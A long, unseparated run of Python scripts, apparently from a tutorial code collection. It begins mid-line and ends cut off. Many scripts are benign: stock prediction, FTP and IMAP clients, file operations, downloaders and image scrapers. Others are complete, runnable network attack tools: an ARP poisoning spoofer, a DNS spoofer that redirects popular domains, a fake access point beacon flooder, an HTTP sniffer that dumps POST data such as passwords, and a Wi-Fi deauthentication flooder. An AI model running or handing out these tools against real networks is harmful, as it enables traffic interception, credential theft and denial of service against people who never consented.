last_sequence.shape[0])) # expand dimension last_sequence = np.expand_dims(last_sequence, axis=0) # get the prediction (scaled from 0 to 1) prediction = model.predict(last_sequence) # get the price (by inverting the scaling) predicted_price = column_scaler["adjclose"].inverse_transform(prediction)[0][0] return predicted_price # load the data data = load_data(ticker, N_STEPS, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, feature_columns=FEATURE_COLUMNS, shuffle=False) # construct the model model = create_model(N_STEPS, loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS, dropout=DROPOUT, optimizer=OPTIMIZER) model_path = os.path.join("results", model_name) + ".h5" model.load_weights(model_path) # evaluate the model mse, mae = model.evaluate(data["X_test"], data["y_test"]) # calculate the mean absolute error (inverse scaling) mean_absolute_error = data["column_scaler"]["adjclose"].inverse_transform(mae.reshape(1, -1))[0][0] print("Mean Absolute Error:", mean_absolute_error) # predict the future price future_price = predict(model, data) print(f"Future price after {LOOKUP_STEP} days is {future_price:.2f}") print("Accuracy Score:", get_accuracy(model, data)) plot_graph(model, data) from stock_prediction import create_model, load_data from tensorflow.keras.layers import LSTM from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard import os import pandas as pd from parameters import * # create these folders if they does not exist if not os.path.isdir("results"): os.mkdir("results") if not os.path.isdir("logs"): os.mkdir("logs") if not os.path.isdir("data"): os.mkdir("data") # load the data data = load_data(ticker, N_STEPS, lookup_step=LOOKUP_STEP, test_size=TEST_SIZE, feature_columns=FEATURE_COLUMNS) # construct the model model = create_model(N_STEPS, loss=LOSS, units=UNITS, cell=CELL, n_layers=N_LAYERS, dropout=DROPOUT, optimizer=OPTIMIZER) # some tensorflow callbacks checkpointer = ModelCheckpoint(os.path.join("results", model_name), save_weights_only=True, save_best_only=True, verbose=1) tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name)) history = model.fit(data["X_train"], data["y_train"], batch_size=BATCH_SIZE, epochs=EPOCHS, validation_data=(data["X_test"], data["y_test"]), callbacks=[checkpointer, tensorboard], verbose=1) model.save(os.path.join("results", model_name) + ".h5") import ftplib FTP_HOST = "ftp.dlptest.com" FTP_USER = "dlpuserdlptest.com" FTP_PASS = "SzMf7rTE4pCrf9dV286GuNe4N" # connect to the FTP server ftp = ftplib.FTP(FTP_HOST, FTP_USER, FTP_PASS) # force UTF-8 encoding ftp.encoding = "utf-8" # the name of file you want to download from the FTP server filename = "some_file.txt" with open(filename, "wb") as file: # use FTP's RETR command to download the file ftp.retrbinary(f"RETR {filename}", file.write) # quit and close the connection ftp.quit() import ftplib # FTP server credentials FTP_HOST = "ftp.dlptest.com" FTP_USER = "dlpuserdlptest.com" FTP_PASS = "SzMf7rTE4pCrf9dV286GuNe4N" # connect to the FTP server ftp = ftplib.FTP(FTP_HOST, FTP_USER, FTP_PASS) # force UTF-8 encoding ftp.encoding = "utf-8" # local file name you want to upload filename = "some_file.txt" with open(filename, "rb") as file: # use FTP's STOR command to upload the file ftp.storbinary(f"STOR {filename}", file) # list current files & directories ftp.dir() # quit and close the connection ftp.quit() import random import os import string import secrets # generate random integer between a and b (including a and b) randint = random.randint(1, 500) print("randint:", randint) # generate random integer from range randrange = random.randrange(0, 500, 5) print("randrange:", randrange) # get a random element from this list choice = random.choice(["hello", "hi", "welcome", "bye", "see you"]) print("choice:", choice) # get 5 random elements from 0 to 1000 choices = random.choices(range(1000), k=5) print("choices:", choices) # generate a random floating point number from 0.0 <= x <= 1.0 randfloat = random.random() print("randfloat between 0.0 and 1.0:", randfloat) # generate a random floating point number such that a <= x <= b randfloat = random.uniform(5, 10) print("randfloat between 5.0 and 10.0:", randfloat) l = list(range(10)) print("Before shuffle:", l) random.shuffle(l) print("After shuffle:", l) # generate a random string randstring = ''.join(random.sample(string.ascii_letters, 16)) print("Random string with 16 characters:", randstring) # crypto-safe byte generation randbytes_crypto = os.urandom(16) print("Random bytes for crypto use using os:", randbytes_crypto) # or use this randbytes_crypto = secrets.token_bytes(16) print("Random bytes for crypto use using secrets:", randbytes_crypto) # crypto-secure string generation randstring_crypto = secrets.token_urlsafe(16) print("Random strings for crypto use:", randstring_crypto) # crypto-secure bits generation randbits_crypto = secrets.randbits(16) print("Random 16-bits for crypto use:", randbits_crypto) import os # print the current directory print("The current directory:", os.getcwd()) # make an empty directory (folder) os.mkdir("folder") # running mkdir again with the same name raises FileExistsError, run this instead: # if not os.path.isdir("folder"): # os.mkdir("folder") # changing the current directory to 'folder' os.chdir("folder") # printing the current directory now print("The current directory changing the directory to folder:", os.getcwd()) # go back a directory os.chdir("..") # make several nested directories os.makedirs("nested1/nested2/nested3") # create a new text file text_file = open("text.txt", "w") # write to this file some text text_file.write("This is a text file") # rename text.txt to renamed-text.txt os.rename("text.txt", "renamed-text.txt") # replace (move) this file to another directory os.replace("renamed-text.txt", "folder/renamed-text.txt") # print all files and folders in the current directory print("All folders & files:", os.listdir()) # print all files & folders recursively for dirpath, dirnames, filenames in os.walk("."): # iterate over directories for dirname in dirnames: print("Directory:", os.path.join(dirpath, dirname)) # iterate over files for filename in filenames: print("File:", os.path.join(dirpath, filename)) # delete that file os.remove("folder/renamed-text.txt") # remove the folder os.rmdir("folder") # remove nested folders os.removedirs("nested1/nested2/nested3") open("text.txt", "w").write("This is a text file") # print some stats about the file print(os.stat("text.txt")) # get the file size for example print("File size:", os.stat("text.txt").st_size) import ftplib import os from datetime import datetime FTP_HOST = "ftp.ed.ac.uk" FTP_USER = "anonymous" FTP_PASS = "" # some utility functions that we gonna need def get_size_format(n, suffix="B"): # converts bytes to scaled format (e.g KB, MB, etc.) for unit in ["", "K", "M", "G", "T", "P"]: if n < 1024: return f"{n:.2f}{unit}{suffix}" n /= 1024 def get_datetime_format(date_time): # convert to datetime object date_time = datetime.strptime(date_time, "%Y%m%d%H%M%S") # convert to human readable date time string return date_time.strftime("%Y/%m/%d %H:%M:%S") # initialize FTP session ftp = ftplib.FTP(FTP_HOST, FTP_USER, FTP_PASS) # force UTF-8 encoding ftp.encoding = "utf-8" # print the welcome message print(ftp.getwelcome()) # change the current working directory to 'pub' folder and 'maps' subfolder ftp.cwd("pub/maps") # LIST a directory print("*"*50, "LIST", "*"*50) ftp.dir() # NLST command print("*"*50, "NLST", "*"*50) print("{:20} {}".format("File Name", "File Size")) for file_name in ftp.nlst(): file_size = "N/A" try: ftp.cwd(file_name) except Exception as e: ftp.voidcmd("TYPE I") file_size = get_size_format(ftp.size(file_name)) print(f"{file_name:20} {file_size}") print("*"*50, "MLSD", "*"*50) # using the MLSD command print("{:30} {:19} {:6} {:5} {:4} {:4} {:4} {}".format("File Name", "Last Modified", "Size", "Perm","Type", "GRP", "MODE", "OWNER")) for file_data in ftp.mlsd(): # extract returning data file_name, meta = file_data # i.e directory, file or link, etc file_type = meta.get("type") if file_type == "file": # if it is a file, change type of transfer data to IMAGE/binary ftp.voidcmd("TYPE I") # get the file size in bytes file_size = ftp.size(file_name) # convert it to human readable format (i.e in 'KB', 'MB', etc) file_size = get_size_format(file_size) else: # not a file, may be a directory or other types file_size = "N/A" # date of last modification of the file last_modified = get_datetime_format(meta.get("modify")) # file permissions permission = meta.get("perm") # get the file unique id unique_id = meta.get("unique") # user group unix_group = meta.get("unix.group") # file mode, unix permissions unix_mode = meta.get("unix.mode") # owner of the file unix_owner = meta.get("unix.owner") # print all print(f"{file_name:30} {last_modified:19} {file_size:7} {permission:5} {file_type:4} {unix_group:4} {unix_mode:4} {unix_owner}") # quit and close the connection ftp.quit() import imaplib import email from email.header import decode_header import webbrowser import os # account credentials username = "youremailaddressprovider.com" password = "yourpassword" # number of top emails to fetch N = 3 # create an IMAP4 class with SSL, use your email provider's IMAP server imap = imaplib.IMAP4_SSL("imap.gmail.com") # authenticate imap.login(username, password) # select a mailbox (in this case, the inbox mailbox) # use imap.list() to get the list of mailboxes status, messages = imap.select("INBOX") # total number of emails messages = int(messages[0]) for i in range(messages-4, messages-N-4, -1): # fetch the email message by ID res, msg = imap.fetch(str(i), "(RFC822)") for response in msg: if isinstance(response, tuple): # parse a bytes email into a message object msg = email.message_from_bytes(response[1]) # decode the email subject subject = decode_header(msg["Subject"])[0][0] if isinstance(subject, bytes): # if it's a bytes, decode to str subject = subject.decode() # email sender from_ = msg.get("From") print("Subject:", subject) print("From:", from_) # if the email message is multipart if msg.is_multipart(): # iterate over email parts for part in msg.walk(): # extract content type of email content_type = part.get_content_type() content_disposition = str(part.get("Content-Disposition")) try: # get the email body body = part.get_payload(decode=True).decode() except: pass if content_type == "text/plain" and "attachment" not in content_disposition: # print text/plain emails and skip attachments print(body) elif "attachment" in content_disposition: # download attachment filename = part.get_filename() if filename: if not os.path.isdir(subject): # make a folder for this email (named after the subject) os.mkdir(subject) filepath = os.path.join(subject, filename) # download attachment and save it open(filepath, "wb").write(part.get_payload(decode=True)) else: # extract content type of email content_type = msg.get_content_type() # get the email body body = msg.get_payload(decode=True).decode() if content_type == "text/plain": # print only text email parts print(body) if content_type == "text/html": # if it's HTML, create a new HTML file and open it in browser if not os.path.isdir(subject): # make a folder for this email (named after the subject) os.mkdir(subject) filename = f"{subject[:50]}.html" filepath = os.path.join(subject, filename) # write the file open(filepath, "w").write(body) # open in the default browser webbrowser.open(filepath) print("="*100) # close the connection and logout imap.close() imap.logout() import requests from concurrent.futures import ThreadPoolExecutor from time import perf_counter # number of threads to spawn n_threads = 5 # read 1024 bytes every time buffer_size = 1024 def download(url): # download the body of response by chunk, not immediately response = requests.get(url, stream=True) # get the file name filename = url.split("/")[-1] with open(filename, "wb") as f: for data in response.iter_content(buffer_size): # write data read to the file f.write(data) if __name__ == "__main__": urls = [ "https://cdn.pixabay.com/photo/2018/01/14/23/12/nature-3082832__340.jpg", "https://cdn.pixabay.com/photo/2013/10/02/23/03/dawn-190055__340.jpg", "https://cdn.pixabay.com/photo/2016/10/21/14/50/plouzane-1758197__340.jpg", "https://cdn.pixabay.com/photo/2016/11/29/05/45/astronomy-1867616__340.jpg", "https://cdn.pixabay.com/photo/2014/07/28/20/39/landscape-404072__340.jpg", ] * 5 t = perf_counter() with ThreadPoolExecutor(max_workers=n_threads) as pool: pool.map(download, urls) print(f"Time took: {perf_counter() - t:.2f}s") import requests from threading import Thread from queue import Queue # thread-safe queue initialization q = Queue() # number of threads to spawn n_threads = 5 # read 1024 bytes every time buffer_size = 1024 def download(): global q while True: # get the url from the queue url = q.get() # download the body of response by chunk, not immediately response = requests.get(url, stream=True) # get the file name filename = url.split("/")[-1] with open(filename, "wb") as f: for data in response.iter_content(buffer_size): # write data read to the file f.write(data) # we're done downloading the file q.task_done() if __name__ == "__main__": urls = [ "https://cdn.pixabay.com/photo/2018/01/14/23/12/nature-3082832__340.jpg", "https://cdn.pixabay.com/photo/2013/10/02/23/03/dawn-190055__340.jpg", "https://cdn.pixabay.com/photo/2016/10/21/14/50/plouzane-1758197__340.jpg", "https://cdn.pixabay.com/photo/2016/11/29/05/45/astronomy-1867616__340.jpg", "https://cdn.pixabay.com/photo/2014/07/28/20/39/landscape-404072__340.jpg", ] * 5 # fill the queue with all the urls for url in urls: q.put(url) # start the threads for t in range(n_threads): worker = Thread(target=download) # daemon thread means a thread that will end when the main thread ends worker.daemon = True worker.start() # wait until the queue is empty q.join() import requests from time import perf_counter # read 1024 bytes every time buffer_size = 1024 def download(url): # download the body of response by chunk, not immediately response = requests.get(url, stream=True) # get the file name filename = url.split("/")[-1] with open(filename, "wb") as f: for data in response.iter_content(buffer_size): # write data read to the file f.write(data) if __name__ == "__main__": urls = [ "https://cdn.pixabay.com/photo/2018/01/14/23/12/nature-3082832__340.jpg", "https://cdn.pixabay.com/photo/2013/10/02/23/03/dawn-190055__340.jpg", "https://cdn.pixabay.com/photo/2016/10/21/14/50/plouzane-1758197__340.jpg", "https://cdn.pixabay.com/photo/2016/11/29/05/45/astronomy-1867616__340.jpg", "https://cdn.pixabay.com/photo/2014/07/28/20/39/landscape-404072__340.jpg", ] * 5 t = perf_counter() for url in urls: download(url) print(f"Time took: {perf_counter() - t:.2f}s") from scapy.all import Ether, ARP, srp, sniff, conf def get_mac(ip): """ Returns the MAC address of ip, if it is unable to find it for some reason, throws IndexError """ p = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip) result = srp(p, timeout=3, verbose=False)[0] return result[0][1].hwsrc def process(packet): # if the packet is an ARP packet if packet.haslayer(ARP): # if it is an ARP response (ARP reply) if packet[ARP].op == 2: try: # get the real MAC address of the sender real_mac = get_mac(packet[ARP].psrc) # get the MAC address from the packet sent to us response_mac = packet[ARP].hwsrc # if they're different, definetely there is an attack if real_mac != response_mac: print(f"[!] You are under attack, REAL-MAC: {real_mac.upper()}, FAKE-MAC: {response_mac.upper()}") except IndexError: # unable to find the real mac # may be a fake IP or firewall is blocking packets pass if __name__ == "__main__": import sys try: iface = sys.argv[1] except IndexError: iface = conf.iface sniff(store=False, prn=process, iface=iface) from scapy.all import Ether, ARP, srp, send import argparse import time import os import sys def _enable_linux_iproute(): """ Enables IP route ( IP Forward ) in linux-based distro """ file_path = "/proc/sys/net/ipv4/ip_forward" with open(file_path) as f: if f.read() == 1: # already enabled return with open(file_path, "w") as f: print(1, file=f) def _enable_windows_iproute(): """ Enables IP route (IP Forwarding) in Windows """ from services import WService # enable Remote Access service service = WService("RemoteAccess") service.start() def enable_ip_route(verbose=True): """ Enables IP forwarding """ if verbose: print("[!] Enabling IP Routing...") _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute() if verbose: print("[!] IP Routing enabled.") def get_mac(ip): """ Returns MAC address of any device connected to the network If ip is down, returns None instead """ ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0) if ans: return ans[0][1].src def spoof(target_ip, host_ip, verbose=True): """ Spoofs target_ip saying that we are host_ip. it is accomplished by changing the ARP cache of the target (poisoning) """ # get the mac address of the target target_mac = get_mac(target_ip) # craft the arp 'is-at' operation packet, in other words an ARP response # we don't specify 'hwsrc' (source MAC address) # because by default, 'hwsrc' is the real MAC address of the sender (ours) arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at') # send the packet # verbose = 0 means that we send the packet without printing any thing send(arp_response, verbose=0) if verbose: # get the MAC address of the default interface we are using self_mac = ARP().hwsrc print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac)) def restore(target_ip, host_ip, verbose=True): """ Restores the normal process of a regular network This is done by sending the original informations (real IP and MAC of host_ip ) to target_ip """ # get the real MAC address of target target_mac = get_mac(target_ip) # get the real MAC address of spoofed (gateway, i.e router) host_mac = get_mac(host_ip) # crafting the restoring packet arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac) # sending the restoring packet # to restore the network to its normal process # we send each reply seven times for a good measure (count=7) send(arp_response, verbose=0, count=7) if verbose: print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac)) if __name__ == "__main__": parser = argparse.ArgumentParser(description="ARP spoof script") parser.add_argument("target", help="Victim IP Address to ARP poison") parser.add_argument("host", help="Host IP Address, the host you wish to intercept packets for (usually the gateway)") parser.add_argument("-v", "--verbose", action="store_true", help="verbosity, default is True (simple message each second)") args = parser.parse_args() target, host, verbose = args.target, args.host, args.verbose enable_ip_route() try: while True: # telling the target that we are the host spoof(target, host, verbose) # telling the host that we are the target spoof(host, target, verbose) # sleep for one second time.sleep(1) except KeyboardInterrupt: print("[!] Detected CTRL+C ! restoring the network, please wait...") restore(target, host) restore(host, target) import win32serviceutil import time class WService: def __init__(self, service, machine=None, verbose=False): self.service = service self.machine = machine self.verbose = verbose property def running(self): return win32serviceutil.QueryServiceStatus(self.service)[1] == 4 def start(self): if not self.running: win32serviceutil.StartService(self.service) time.sleep(1) if self.running: if self.verbose: print(f"[+] {self.service} started successfully.") return True else: if self.verbose: print(f"[-] Cannot start {self.service}") return False elif self.verbose: print(f"[!] {self.service} is already running.") def stop(self): if self.running: win32serviceutil.StopService(self.service) time.sleep(0.5) if not self.running: if self.verbose: print(f"[+] {self.service} stopped successfully.") return True else: if self.verbose: print(f"[-] Cannot stop {self.service}") return False elif self.verbose: print(f"[!] {self.service} is not running.") def restart(self): if self.running: win32serviceutil.RestartService(self.service) time.sleep(2) if self.running: if self.verbose: print(f"[+] {self.service} restarted successfully.") return True else: if self.verbose: print(f"[-] Cannot start {self.service}") return False elif self.verbose: print(f"[!] {self.service} is not running.") def main(action, service): service = WService(service, verbose=True) if action == "start": service.start() elif action == "stop": service.stop() elif action == "restart": service.restart() # getattr(remoteAccessService, action, "start")() if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="Windows Service Handler") parser.add_argument("service") parser.add_argument("-a", "--action", help="action to do, 'start', 'stop' or 'restart'", action="store", required=True, dest="action") given_args = parser.parse_args() service, action = given_args.service, given_args.action main(action, service) from scapy.all import * import time hosts = [] Ether = 1 def listen_dhcp(): # Make sure it is DHCP with the filter options k = sniff(prn=print_packet, filter='udp and (port 67 or port 68)') def print_packet(packet): target_mac, requested_ip, hostname, vendor_id = [None] * 4 if packet.haslayer(Ether): target_mac = packet.getlayer(Ether).src # get the DHCP options dhcp_options = packet[DHCP].options for item in dhcp_options: try: label, value = item except ValueError: continue if label == 'requested_addr': requested_ip = value elif label == 'hostname': hostname = value.decode() elif label == 'vendor_class_id': vendor_id = value.decode() if target_mac and vendor_id and hostname and requested_ip and target_mac not in hosts: hosts.append(target_mac) time_now = time.strftime("[%Y-%m-%d - %H:%M:%S] ") print("{}: {} - {} / {} requested {}".format(time_now, target_mac, hostname, vendor_id, requested_ip)) if __name__ == "__main__": listen_dhcp() from scapy.all import * from netfilterqueue import NetfilterQueue import os # DNS mapping records, feel free to add/modify this dictionary # for example, google.com will be redirected to 192.168.1.100 dns_hosts = { b"www.google.com.": "192.168.1.100", b"google.com.": "192.168.1.100", b"facebook.com.": "172.217.19.142" } def process_packet(packet): """ Whenever a new packet is redirected to the netfilter queue, this callback is called. """ # convert netfilter queue packet to scapy packet scapy_packet = IP(packet.get_payload()) if scapy_packet.haslayer(DNSRR): # if the packet is a DNS Resource Record (DNS reply) # modify the packet print("[Before]:", scapy_packet.summary()) try: scapy_packet = modify_packet(scapy_packet) except IndexError: # not UDP packet, this can be IPerror/UDPerror packets pass print("[After ]:", scapy_packet.summary()) # set back as netfilter queue packet packet.set_payload(bytes(scapy_packet)) # accept the packet packet.accept() def modify_packet(packet): """ Modifies the DNS Resource Record packet ( the answer part) to map our globally defined dns_hosts dictionary. For instance, whenver we see a google.com answer, this function replaces the real IP address (172.217.19.142) with fake IP address (192.168.1.100) """ # get the DNS question name, the domain name qname = packet[DNSQR].qname if qname not in dns_hosts: # if the website isn't in our record # we don't wanna modify that print("no modification:", qname) return packet # craft new answer, overriding the original # setting the rdata for the IP we want to redirect (spoofed) # for instance, google.com will be mapped to "192.168.1.100" packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname]) # set the answer count to 1 packet[DNS].ancount = 1 # delete checksums and length of packet, because we have modified the packet # new calculations are required ( scapy will do automatically ) del packet[IP].len del packet[IP].chksum del packet[UDP].len del packet[UDP].chksum # return the modified packet return packet if __name__ == "__main__": QUEUE_NUM = 0 # insert the iptables FORWARD rule os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM)) # instantiate the netfilter queue queue = NetfilterQueue() try: # bind the queue number to our callback process_packet # and start it queue.bind(QUEUE_NUM, process_packet) queue.run() except KeyboardInterrupt: # if want to exit, make sure we # remove that rule we just inserted, going back to normal. os.system("iptables --flush") from scapy.all import * from threading import Thread from faker import Faker def send_beacon(ssid, mac, infinite=True): dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=mac, addr3=mac) # type=0: management frame # subtype=8: beacon frame # addr1: MAC address of the receiver # addr2: MAC address of the sender # addr3: MAC address of the Access Point (AP) # beacon frame beacon = Dot11Beacon() # we inject the ssid name essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid)) # stack all the layers and add a RadioTap frame = RadioTap()/dot11/beacon/essid # send the frame if infinite: sendp(frame, inter=0.1, loop=1, iface=iface, verbose=0) else: sendp(frame, iface=iface, verbose=0) if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="Fake Access Point Generator") parser.add_argument("interface", default="wlan0mon", help="The interface to send beacon frames with, must be in monitor mode") parser.add_argument("-n", "--access-points", dest="n_ap", help="Number of access points to be generated") args = parser.parse_args() n_ap = args.n_ap iface = args.interface # generate random SSIDs and MACs faker = Faker() ssids_macs = [ (faker.name(), faker.mac_address()) for i in range(n_ap) ] for ssid, mac in ssids_macs: Thread(target=send_beacon, args=(ssid, mac)).start() from scapy.all import * from scapy.layers.http import HTTPRequest # import HTTP packet from colorama import init, Fore # initialize colorama init() # define colors GREEN = Fore.GREEN RED = Fore.RED RESET = Fore.RESET def sniff_packets(iface=None): """ Sniff 80 port packets with iface, if None (default), then the scapy's default interface is used """ if iface: # port 80 for http (generally) # process_packet is the callback sniff(filter="port 80", prn=process_packet, iface=iface, store=False) else: # sniff with default interface sniff(filter="port 80", prn=process_packet, store=False) def process_packet(packet): """ This function is executed whenever a packet is sniffed """ if packet.haslayer(HTTPRequest): # if this packet is an HTTP Request # get the requested URL url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode() # get the requester's IP Address ip = packet[IP].src # get the request method method = packet[HTTPRequest].Method.decode() print(f"\n{GREEN}[+] {ip} Requested {url} with {method}{RESET}") if show_raw and packet.haslayer(Raw) and method == "POST": # if show_raw flag is enabled, has raw data, and the requested method is "POST" # then show raw print(f"\n{RED}[*] Some useful Raw data: {packet[Raw].load}{RESET}") if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="HTTP Packet Sniffer, this is useful when you're a man in the middle." \ + "It is suggested that you run arp spoof before you use this script, otherwise it'll sniff your personal packets") parser.add_argument("-i", "--iface", help="Interface to use, default is scapy's default interface") parser.add_argument("--show-raw", dest="show_raw", action="store_true", help="Whether to print POST raw data, such as passwords, search queries, etc.") # parse arguments args = parser.parse_args() iface = args.iface show_raw = args.show_raw sniff_packets(iface) from scapy.all import * def deauth(target_mac, gateway_mac, inter=0.1, count=None, loop=1, iface="wlan0mon", verbose=1): # 802.11 frame # addr1: destination MAC # addr2: source MAC # addr3: Access Point MAC dot11 = Dot11(addr1=target_mac, addr2=gateway_mac, addr3=gateway_mac) # stack them up packet = RadioTap()/dot11/Dot11Deauth(reason=7) # send the packet sendp(packet, inter=inter, count=count, loop=loop, iface=iface, verbose=verbose) if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="A python script for sending deauthentication frames") parser.add_argument("target", help="Target MAC address to deauthenticate.") parser.add_argument("gateway", help="Gateway MAC address that target is authenticated with") parser.add_argument("-c" , "--count", help="number of deauthentication frames to send, specify 0 to keep sending infinitely, default is 0", default=0) parser.add_argument("--interval", help="The sending frequency between two frames sent, default is 100ms", default=0.1) parser.add_argument("-i", dest="iface", help="Interface to use, must be in monitor mode, default is 'wlan0mon'", default="wlan0mon") parser.add_argument("-v", "--verbose", help="wether to print messages", action="store_true") args = parser.parse_args() target = args.target gateway = args.gateway count = int(args.count) interval = float(args.interval) iface = args.iface verbose = args.verbose if count == 0: # if count is 0, it means we loop forever (until interrupt) loop = 1 count = None else: loop = 0 # printing some info messages" if verbose: if count: print(f"[+] Sending {count} frames every {interval}s...") else: print(f"[+] Sending frames every {interval}s for ever...") deauth(target, gateway, interval, count, loop, iface, verbose) from scapy.all import ARP, Ether, srp target_ip = "192.168.1.1/24" # IP Address for the destination # create ARP packet arp = ARP(pdst=target_ip) # create the Ether broadcast packet # ff:ff:ff:ff:ff:ff MAC address indicates broadcasting ether = Ether(dst="ff:ff:ff:ff:ff:ff") # stack them packet = ether/arp result = srp(packet, timeout=3, verbose=0)[0] # a list of clients, we will fill this in the upcoming loop clients = [] for sent, received in result: # for each response, append ip and mac address to clients list clients.append({'ip': received.psrc, 'mac': received.hwsrc}) # print clients print("Available devices in the network:") print("IP" + " "*18+"MAC") for client in clients: print("{:16} {}".format(client['ip'], client['mac'])) from scapy.all import * from threading import Thread import pandas import time import os import sys # initialize the networks dataframe that will contain all access points nearby networks = pandas.DataFrame(columns=["BSSID", "SSID", "dBm_Signal", "Channel", "Crypto"]) # set the index BSSID (MAC address of the AP) networks.set_index("BSSID", inplace=True) def callback(packet): if packet.haslayer(Dot11Beacon): # extract the MAC address of the network bssid = packet[Dot11].addr2 # get the name of it ssid = packet[Dot11Elt].info.decode() try: dbm_signal = packet.dBm_AntSignal except: dbm_signal = "N/A" # extract network stats stats = packet[Dot11Beacon].network_stats() # get the channel of the AP channel = stats.get("channel") # get the crypto crypto = stats.get("crypto") networks.loc[bssid] = (ssid, dbm_signal, channel, crypto) def print_all(): while True: os.system("clear") print(networks) time.sleep(0.5) def change_channel(): ch = 1 while True: os.system(f"iwconfig {interface} channel {ch}") # switch channel from 1 to 14 each 0.5s ch = ch % 14 + 1 time.sleep(0.5) if __name__ == "__main__": # interface name, check using iwconfig interface = sys.argv[1] # start the thread that prints all the networks printer = Thread(target=print_all) printer.daemon = True printer.start() # start the channel changer channel_changer = Thread(target=change_channel) channel_changer.daemon = True channel_changer.start() # start sniffing sniff(prn=callback, iface=interface) import requests import os from tqdm import tqdm from bs4 import BeautifulSoup as bs from urllib.parse import urljoin, urlparse def is_valid(url): """ Checks whether url is a valid URL. """ parsed = urlparse(url) return bool(parsed.netloc) and bool(parsed.scheme) def get_all_images(url): """ Returns all image URLs on a single url """ soup = bs(requests.get(url).content, "html.parser") urls = [] for img in tqdm(soup.find_all("img"), "Extracting images"): img_url = img.attrs.get("src") if not img_url: # if img does not contain src attribute, just skip continue # make the URL absolute by joining domain with the URL that is just extracted img_url = urljoin(url, img_url) # remove URLs like '/hsts-pixel.gif?c=3.2.5' try: pos = img_url.index("?") img_url = img_url[:pos] except ValueError: pass # finally, if the url is valid if is_valid(img_url): urls.append(img_url) return urls def download(url, pathname): """ Downloads a file given an URL and puts it in the folder pathname """ # if path doesn't exist, make that path dir if not os.path.isdir(pathname): os.makedirs(pathname) # download the body of response by chunk, not immediately response = requests.get(url, stream=True) # get the total file size file_size = int(response.headers.get("Content-Length", 0)) # get the file name filename = os.path.join(pathname, url.split("/")[-1]) # progress bar, changing the unit to bytes instead of iteration (default by tqdm) progress = tqdm(response.iter_content(1024), f"Downloading {filename}", total=file_size, unit="B", unit_scale=True, unit_divisor=1024) with open(filename, "wb") as f: for data in progress: # write data read to the file f.write(data) # update the progress bar manually progress.update(len(data)) def main(url, path): # get all images imgs = get_all_images(url) for img in imgs: # for each img, download it download(img, path) if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="This script downloads all images from a web page") parser.add_argument("url", help="The URL of the web page you want to download images") parser.add_argument("-p", "--path", help="The Directory you want to store your images, default is the domain of URL passed") args = parser.parse_args() url = args.url path = args.path if not path: # if path isn't specified, use the domain name of that url as the folder name path = urlparse(url).netloc main(url, path) from requests_html import HTMLSession import requests from tqdm import tqdm from bs4 import BeautifulSoup as bs from urllib.parse import urljoin, urlparse import os def is_valid(url): """ Checks whether url is a valid URL. """ parsed = urlparse(url) return bool(parsed.netloc) and bool(parsed.scheme) def get_all_images(url): """ Returns all image URLs on a single url """ # initialize the session session = HTMLSession() # make the HTTP request and retrieve response response = session.get(url) # execute Javascript response.html.render() # construct the soup parser soup = bs(response.html.html, "html.parser") urls = [] for img in tqdm(soup.find_all("img"), "Extracting images"): img_url = img.attrs.get("src") or img.attrs.get("data-src") if not img_url: # if img does not contain src attribute, just skip continue # make the URL absolute by joining domain with the URL that is just extracted img_url = urljoin(url, img_url) # remove URLs like '/hsts-pixel.gif?c=3.2.5' try: pos = img_url.index("?") img_url = img_url[:pos] except ValueError: pass # finally, if the url is valid if is_valid(img_url): urls.append(img_url) return urls def download(url, pathname): """ Downloads a file given an URL and puts it in the folder pathname """ # if path doesn't exist, make that path dir if not os.path.isdir(pathname): os.makedirs(pathname) # download the body of response by chunk, not immediately response = requests.get(url, stream=True) # get the total file size file_size = int(response.headers.get("Content-Length", 0)) # get the file name filename = os.path.join(pathname, url.split("/")[-1]) # progress bar, changing the unit to bytes instead of iteration (default by tqdm) progress = tqdm(response.iter_content(1024), f"Downloading {filename}", total=file_size, unit="B", unit_scale=True, unit_divisor=1024) with open(filename, "wb") as f: for data in progress: # write data read to the file f.write(data) # update the progress bar manually progress.update(len(data)) def main(url, path): # get all images imgs = get_all_images(url) for img in imgs: # for each img, download it download(img, path) if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="This script downloads all images from a web page") parser.add_argument("url", help="The URL of the web page you want to download images") parser.add_argument("-p", "--path", help="The Directory you want to store your images, default is the domain of URL passed") args = parser.parse_args() url = args.url path = args.path if not path: # if path isn't specified, use the domain name of that url as the folder name path = urlparse(url).netloc main(url, path) import re from requests_html import HTMLSession import sys url = sys.argv[1] EMAIL_REGEX = 